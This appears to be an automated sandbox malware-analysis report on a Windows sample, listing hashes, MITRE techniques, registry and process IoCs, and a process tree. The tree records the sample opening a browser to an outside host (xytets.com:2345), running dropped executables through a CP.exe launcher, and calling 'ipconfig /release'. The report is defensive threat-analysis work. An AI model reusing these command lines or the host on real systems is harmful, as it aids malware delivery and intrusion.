b8db099f8b3e1e8fbcac076729c1b215464ddda6e6d2a28436ef155587fbe225

Analysis

max time kernel
149s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
13/11/2026, 04:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe
Size 243KB
Sample261113-e5xraaf19m
SHA256 b8db099f8b3e1e8fbcac076729c1b215464ddda6e6d2a28436ef155587fbe225
MD5 416bb18ab17eb64fa319b850c3bf1d2a
SHA1 a08d304af35747c4c8685f8859902d2fb09094a3
SHA512 ebe1c4cd6e5ea927831fc944ec93d24ff70e212e645a1d85303270c047762d9123978d33633ef36ff2d326276fad3e40350cc2b84cf3000a24ad1720b79f6569
SSDEEP 3072:xF3frLFqJhj7yra3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7N:T3frLQsa3lLNngoqRttA7N
TLSH
T16B345A0172818032E7550B78045AE7A0867E7D384BA6E6CFF7683F795A312D3A93725F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
4480	CP.exe
1616	xrpkhcausm.exe
1028	CP.exe
392	CP.exe
1228	i_xrpkhcausm.exe
4188	pmhfzxrpjh.sys
4572	CP.exe
4036	hcwuomhezx.exe
3840	CP.exe
3524	CP.exe
2888	i_hcwuomhezx.exe
3676	ztrmjecwuo.sys
1440	CP.exe
872	omgeywroje.exe
5060	CP.exe
4868	CP.exe
3316	i_omgeywroje.exe
4032	uomgezwrpj.sys
3948	CP.exe
4648	bztrljdbwt.exe
2852	CP.exe
1768	CP.exe
4468	i_bztrljdbwt.exe
2640	geywqojgbz.sys
2748	CP.exe
2228	vtolgeywqo.exe
692	CP.exe
2860	CP.exe
4552	i_vtolgeywqo.exe
3184	wqoigbytql.sys
4016	CP.exe
4300	ljdbvqoiga.exe
4852	CP.exe
3216	CP.exe
5056	i_ljdbvqoiga.exe
4948	nigaysqlid.sys
3168	CP.exe
3368	davtnlfdxv.exe
1176	CP.exe
3348	CP.exe
4996	i_davtnlfdxv.exe
2460	ifaxsqkica.sys
4348	CP.exe
432	sqkicavsnk.exe
1016	CP.exe
4532	CP.exe
4472	i_sqkicavsnk.exe
3488	cxvpnhfzxs.sys
4804	CP.exe
4720	sqkicausnk.exe
1104	CP.exe
2636	CP.exe
976	i_sqkicausnk.exe
4360	smhfzxrpkh.sys
4132	CP.exe
3812	hczusmkecw.exe
1984	CP.exe
3856	CP.exe
3504	i_hczusmkecw.exe
1112	mhezwrpjhb.sys
3768	CP.exe
2568	bztrmkecwu.exe
3096	CP.exe
4100	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faxsqkiusn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jecwuomgez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jecwuomgez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpkhcausm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpkhcausm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hcwuomhezx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljdbvqoiga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_davtnlfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ztrljebwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hczusmkecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bztrmkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bztrmkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ztrljebwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gaysqlidbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkicavsnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igbytrljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faxsqkiusn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmhezxrmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmhezxrmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtolgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	davtnlfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtolgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkicavsnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gaysqlidbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aysqkicavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aysqkicavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgeywroje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgeywroje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wrojgbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hcwuomhezx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bztrljdbwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bztrljdbwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljdbvqoiga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkicausnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igbytrljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zusmkecxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zusmkecxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkicausnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hczusmkecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wrojgbztrl.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3464	ipconfig.exe
3036	ipconfig.exe
3344	ipconfig.exe
1920	ipconfig.exe
4304	ipconfig.exe
2168	ipconfig.exe
4032	ipconfig.exe
4356	ipconfig.exe
1732	ipconfig.exe
4024	ipconfig.exe
4256	ipconfig.exe
3792	ipconfig.exe
4588	ipconfig.exe
4164	ipconfig.exe
3696	ipconfig.exe
2160	ipconfig.exe
2936	ipconfig.exe
3420	ipconfig.exe
1524	ipconfig.exe
4732	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{2B9BE175-DF1B-11F1-8F8C-466A5CF93802} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "6603318"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "8161734"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31290152"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a099ff002873dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31290152"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "501309296"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f595d6568c78041904f5e7e998782ca0000000002000000000010660000000100002000000045ec83ce007e1d4069875046c1519dd15ee696dfcf08e6c33537ab6cd51cc5c6000000000e8000000002000020000000f5458871ca4a15cd39af02e3b24b4b1281dffde98412a4b9d31d6bee4746155d20000000c52bdefd37fa721b62d23f6a74475572a7662cc16c864adab840ca7d777c07db4000000063969aca998a6d8f70bd22f7dfb5ecd91690e40a4005eeb12cea42957c42469939505472f3de6b7119bbea7f40035c8bf6876e8d6579fbb350bfd2f2cdd10e80	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 90c506012873dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f595d6568c78041904f5e7e998782ca000000000200000000001066000000010000200000003a0c8dd5341736a4b731921466ddf51e878d66f77053d277fa8ccb285dc85fce000000000e80000000020000200000005e91c7ecb327cb2e62b8100fafb3bf90d9e859c2f9e42a5b788d712affd68519200000004431009499ef81d9168f1d505b589c3e2db54d99f8bb8564c4180a74d056f721400000007895301410ab24f937a3ce3c8e2ee4d55535a97d5bdb08f727f4e3fccf4e58b5bee98e1a4d92d65613939fa3bdb003ec27d1a4f0c3881de93ba824ece9a63c80	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	1228	i_xrpkhcausm.exe
Token: SeDebugPrivilege	2888	i_hcwuomhezx.exe
Token: SeDebugPrivilege	3316	i_omgeywroje.exe
Token: SeDebugPrivilege	4468	i_bztrljdbwt.exe
Token: SeDebugPrivilege	4552	i_vtolgeywqo.exe
Token: SeDebugPrivilege	5056	i_ljdbvqoiga.exe
Token: SeDebugPrivilege	4996	i_davtnlfdxv.exe
Token: SeDebugPrivilege	4472	i_sqkicavsnk.exe
Token: SeDebugPrivilege	976	i_sqkicausnk.exe
Token: SeDebugPrivilege	3504	i_hczusmkecw.exe
Token: SeDebugPrivilege	2924	i_bztrmkecwu.exe
Token: SeDebugPrivilege	1760	i_wrojgbztrl.exe
Token: SeDebugPrivilege	2756	i_ztrljebwto.exe
Token: SeDebugPrivilege	4624	i_igbytrljdb.exe
Token: SeDebugPrivilege	3364	i_gaysqlidbv.exe
Token: SeDebugPrivilege	2940	i_aysqkicavs.exe
Token: SeDebugPrivilege	888	i_faxsqkiusn.exe
Token: SeDebugPrivilege	980	i_zusmkecxup.exe
Token: SeDebugPrivilege	3308	i_rmhezxrmke.exe
Token: SeDebugPrivilege	384	i_jecwuomgez.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3120	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3120	iexplore.exe
3120	iexplore.exe
4716	IEXPLORE.EXE
4716	IEXPLORE.EXE
4716	IEXPLORE.EXE
4716	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 3120	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	85
PID 3120 wrote to memory of 4716	3120	iexplore.exe	86
PID 1800 wrote to memory of 4480	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	89
PID 1616 wrote to memory of 1028	1616	xrpkhcausm.exe	92
PID 1800 wrote to memory of 392	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	97
PID 1800 wrote to memory of 4572	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	104
PID 4036 wrote to memory of 3840	4036	hcwuomhezx.exe	106
PID 1800 wrote to memory of 3524	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	109
PID 1800 wrote to memory of 1440	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	113
PID 872 wrote to memory of 5060	872	omgeywroje.exe	115
PID 1800 wrote to memory of 4868	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	118
PID 1800 wrote to memory of 3948	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	122
PID 4648 wrote to memory of 2852	4648	bztrljdbwt.exe	124
PID 1800 wrote to memory of 1768	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	127
PID 1800 wrote to memory of 2748	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	133
PID 2228 wrote to memory of 692	2228	vtolgeywqo.exe	135
PID 1800 wrote to memory of 2860	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	138
PID 1800 wrote to memory of 4016	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	142
PID 4300 wrote to memory of 4852	4300	ljdbvqoiga.exe	144
PID 1800 wrote to memory of 3216	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	147
PID 1800 wrote to memory of 3168	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	151
PID 3368 wrote to memory of 1176	3368	davtnlfdxv.exe	153
PID 1800 wrote to memory of 3348	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	156
PID 1800 wrote to memory of 4348	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	160
PID 432 wrote to memory of 1016	432	sqkicavsnk.exe	162
PID 1800 wrote to memory of 4532	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	165
PID 1800 wrote to memory of 4804	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	169
PID 4720 wrote to memory of 1104	4720	sqkicausnk.exe	171
PID 1800 wrote to memory of 2636	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	174
PID 1800 wrote to memory of 4132	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	178
PID 3812 wrote to memory of 1984	3812	hczusmkecw.exe	180
PID 1800 wrote to memory of 3856	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	183
PID 1800 wrote to memory of 3768	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	187
PID 2568 wrote to memory of 3096	2568	bztrmkecwu.exe	189
PID 1800 wrote to memory of 4100	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	192
PID 1800 wrote to memory of 5020	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	196
PID 1920 wrote to memory of 5012	1920	wrojgbztrl.exe	198
PID 1800 wrote to memory of 772	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	201
PID 1800 wrote to memory of 3488	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	205
PID 4332 wrote to memory of 1576	4332	ztrljebwto.exe	207
PID 1800 wrote to memory of 1068	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	210
PID 1800 wrote to memory of 2704	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	214
PID 4072 wrote to memory of 856	4072	igbytrljdb.exe	216
PID 1800 wrote to memory of 1716	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	219
PID 1800 wrote to memory of 2660	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	223
PID 1916 wrote to memory of 1944	1916	gaysqlidbv.exe	225
PID 1800 wrote to memory of 1232	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	228
PID 1800 wrote to memory of 4064	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	232
PID 4364 wrote to memory of 3320	4364	aysqkicavs.exe	234
PID 1800 wrote to memory of 3924	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	237
PID 1800 wrote to memory of 4920	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	241
PID 3464 wrote to memory of 3632	3464	faxsqkiusn.exe	243
PID 1800 wrote to memory of 2240	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	246
PID 1800 wrote to memory of 4028	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	250
PID 632 wrote to memory of 1988	632	zusmkecxup.exe	252
PID 1800 wrote to memory of 2068	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	255
PID 1800 wrote to memory of 4960	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	259
PID 3056 wrote to memory of 3916	3056	rmhezxrmke.exe	261
PID 1800 wrote to memory of 4680	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	264
PID 1800 wrote to memory of 884	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	268
PID 4556 wrote to memory of 212	4556	jecwuomgez.exe	270
PID 1800 wrote to memory of 4696	1800	2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe	273

C:\Users\Admin\AppData\Local\Temp\2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-11-12_416bb18ab17eb64fa319b850c3bf1d2a_elex_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3120
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3120 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:4716
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xrpkhcausm.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4480
- - C:\Temp\xrpkhcausm.exe
    C:\Temp\xrpkhcausm.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1616
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1028
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4356
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xrpkhcausm.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:392
- - C:\Temp\i_xrpkhcausm.exe
    C:\Temp\i_xrpkhcausm.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1228
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hcwuomhezx.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4572
- - C:\Temp\hcwuomhezx.exe
    C:\Temp\hcwuomhezx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4036
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3840
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3344
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hcwuomhezx.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3524
- - C:\Temp\i_hcwuomhezx.exe
    C:\Temp\i_hcwuomhezx.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2888
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\omgeywroje.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1440
- - C:\Temp\omgeywroje.exe
    C:\Temp\omgeywroje.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:872
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5060
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4256
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_omgeywroje.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4868
- - C:\Temp\i_omgeywroje.exe
    C:\Temp\i_omgeywroje.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3316
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bztrljdbwt.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3948
- - C:\Temp\bztrljdbwt.exe
    C:\Temp\bztrljdbwt.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4648
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2852
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1920
